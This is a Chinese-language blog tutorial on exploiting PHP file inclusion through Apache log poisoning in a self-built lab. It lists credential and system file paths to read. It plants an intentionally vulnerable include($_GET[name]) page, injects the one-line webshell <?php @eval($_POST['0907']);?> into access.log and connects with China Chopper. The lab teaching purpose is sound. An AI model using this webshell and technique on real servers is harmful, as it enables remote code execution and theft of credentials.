文件包含漏洞-日志注入

文件目录

  • 一、文件包含漏洞
    • 1.文件包含概述
    • 2.文件包含类型
  • 二、文件包含-日志注入
    • 1.日志注入概述
    • 2.环境准备
    • 3.配置环境
    • 4.模拟网站环境
  • 三、日志注入流程

一、文件包含漏洞

1.文件包含概述

  文件包含漏洞是 Web 应用程序中的一种常见漏洞。当应用程序允许用户控制包含在页面上的文件时,攻击者就可以利用这一点来包含恶意文件。这种恶意文件可能包含执行恶意代码,导致各种攻击,如代码执行、数据泄露或其他未授权的行为。

2.文件包含类型

  本地文件包含(LFI):攻击者可以利用这个漏洞在服务器上包含本地文件。这意味着攻击者可以读取或执行服务器上的任何文件,只要他们有相应的权限。
  远程文件包含 (RFI):当应用程序不仅可以包含本地文件,还可以包含外部服务器上的文件时,这种情况会发生。这允许攻击者执行远程服务器上的代码。

二、文件包含-日志注入

1.日志注入概述

  日志注入是通过插入恶意数据到应用程序的日志文件来实施的攻击。当这些日志被其他系统或应用程序读取和解析时,攻击者的恶意数据可能会被执行。这通常利用了不安全的日志处理机制和文件包含漏洞的组合。

2.环境准备

  本次我使用是环境为:

linux-kali:burp suite 火狐插件FoxyProxy
windows10:搭建的为phpstuby的服务器环境 php-5.4.45 + Apache
工具:中国菜刀,中国蚁剑

因为日志注入跟系统环境有关
我是日志目录是自己设置的
下面列出常见的日志目录:

windows系统:

C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息

Linux/Unix系统:

/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

3.配置环境

打开phpstudy,因为需要用到日志功能,部分环境默认日志功能关闭,我们将其开启。

文件包含漏洞-日志注入_第1张图片

打开后目录后,返回目录上一级,根据下面图片的方式找到日志文件,也就是access.log文件

文件包含漏洞-日志注入_第2张图片

根据目录找到启动日志功能的配置文件,httpd.conf文件

文件包含漏洞-日志注入_第3张图片

可以用记事本打开httpd.conf文件
根据日志文件名称搜索
找到##CustomLog “logs/access.log” common
将其"##"删除,代码不再被注释,即启用日志功能。

文件包含漏洞-日志注入_第4张图片

然后保存并重启服务器环境,即重启phpstudy,日志功能便启用了。

4.模拟网站环境

搭建网站的文件包含漏洞,在phpstudy的网站www根目录下写下一个新的php文件,可以取名为1.php

<?php 
$filename=$_GET[name];
include($filename);
 ?>
                                PHP 代码的结束标签。

这里网站的文件包含漏洞就设置好了

文件包含漏洞-日志注入_第5张图片

三、日志注入流程

使用我们的kali访问到ip地址下的1.php文件

文件包含漏洞-日志注入_第6张图片

注入一句话木马前,可以先尝试下是否可以利用文件包含漏洞。
如:我现在可以访问到靶机C盘的桌面txt文件,代表环境搭建成功。

文件包含漏洞-日志注入_第7张图片

那么开始日志注入,注意这里需要开启一个代理进行抓包,因为日志注入后会进行转义,需要将转义后的代码再改回来。
一句话木马:

<?php @eval($_POST['0907']);?>

文件包含漏洞-日志注入_第8张图片

可以看到代码进行了转义,将红色文字改回一句话木马,然后放包,放包完成后,记得取消代理,取消抓包。

<?php @eval($_POST['0907']);?>

文件包含漏洞-日志注入_第9张图片

放包完成后可以去access.log日志文件中查看是否成功,access.log在本文章的"配置环境"目录有找到它的方式。

下面被框起来的
第一条是被转义的日志文件(这是我之前测试的)
第二条是抓包修改后的文件
根据第二条可以发现日志注入成功

文件包含漏洞-日志注入_第10张图片

查看access.log日志文件的属性,获取文件位置。

文件包含漏洞-日志注入_第11张图片

访问日志位置,记得加上文件名

文件包含漏洞-日志注入_第12张图片

通过中国菜刀连接刚刚的地址(位置)

文件包含漏洞-日志注入_第13张图片

成功

文件包含漏洞-日志注入_第14张图片

如有不详或错误,敬请指出。

你可能感兴趣的:(网络安全,网络安全)